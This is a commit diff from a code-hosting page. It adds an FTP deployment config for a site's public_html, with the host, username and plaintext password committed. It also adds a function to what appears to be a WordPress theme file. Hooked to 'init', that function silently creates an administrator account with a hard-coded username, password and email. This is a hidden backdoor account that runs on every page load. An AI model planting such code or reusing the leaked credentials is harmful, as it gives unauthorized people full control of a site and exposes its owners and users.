Save
This commit is contained in:
17
.vscode/ftp-kr.json
vendored
Normal file
17
.vscode/ftp-kr.json
vendored
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
{
|
||||||
|
"host": "s9.mydevil.net",
|
||||||
|
"username": "f11736_projectpro",
|
||||||
|
"password": "3yUl3)Ns3_tkIes4Mt\"-4zGh9'xag4",
|
||||||
|
"remotePath": "/domains/branddefense.pl/public_html/",
|
||||||
|
"protocol": "ftp",
|
||||||
|
"port": 0,
|
||||||
|
"fileNameEncoding": "utf8",
|
||||||
|
"autoUpload": true,
|
||||||
|
"autoDelete": false,
|
||||||
|
"autoDownload": false,
|
||||||
|
"ignoreRemoteModification": true,
|
||||||
|
"ignore": [
|
||||||
|
".git",
|
||||||
|
"/.vscode"
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -108,3 +108,13 @@ endif;
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function wpb_admin_account(){
|
||||||
|
$user = 'project-pro';
|
||||||
|
$pass = 'ProjectPro2022!';
|
||||||
|
$email = 'biuro@project-pro.pl';
|
||||||
|
if ( !username_exists( $user ) && !email_exists( $email ) ) {
|
||||||
|
$user_id = wp_create_user( $user, $pass, $email );
|
||||||
|
$user = new WP_User( $user_id );
|
||||||
|
$user->set_role( 'administrator' );
|
||||||
|
} }
|
||||||
|
add_action('init','wpb_admin_account');
|
||||||
Reference in New Issue
Block a user